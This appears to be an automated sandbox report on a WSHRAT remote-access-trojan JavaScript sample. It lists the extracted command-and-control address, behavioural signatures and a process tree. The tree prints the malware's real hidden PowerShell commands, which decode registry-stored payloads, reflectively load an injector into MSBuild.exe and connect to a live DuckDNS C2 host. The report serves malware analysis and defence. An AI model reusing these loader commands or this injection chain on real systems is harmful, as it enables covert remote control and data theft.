Analysis
- max time kernel
148s - max time network
148s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
15/05/2024, 02:49
General
- Target cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
- Size 616KB
- Sample240515-da66ssdg2x
- SHA256 cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc
Malware Config
Extracted
-
wshrat
-
http://masterokrwh.duckdns.org:8426
Signatures
- WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
- Blocklisted process makes network request 33 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 30 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'masterokrwh.duckdns.org 8426 \"WSHRAT|08193A6E|QGTQZTRE|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom\" 1'));"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exepath masterokrwh.duckdns.org 8426 "WSHRAT|08193A6E|QGTQZTRE|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom" 13⤵
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
590aee7bdd69b59b.customDestinations-ms
cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
memory/2520-44-0x000000001B550000-0x000000001B55A000-memory.dmp
memory/2764-49-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-51-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-53-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-55-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2764-57-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-58-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-56-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-47-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2764-45-0x0000000000400000-0x000000000040E000-memory.dmp
memory/2896-38-0x0000000002860000-0x0000000002868000-memory.dmp
memory/2896-37-0x000000001B5C0000-0x000000001B8A2000-memory.dmp
memory/2908-23-0x000007FEF591E000-0x000007FEF591F000-memory.dmp
memory/2908-31-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp
memory/2908-30-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp
memory/2908-29-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp
memory/2908-28-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp
memory/2908-27-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp
memory/2908-24-0x000000001B6A0000-0x000000001B982000-memory.dmp
memory/2908-25-0x0000000001DA0000-0x0000000001DA8000-memory.dmp
memory/2908-26-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp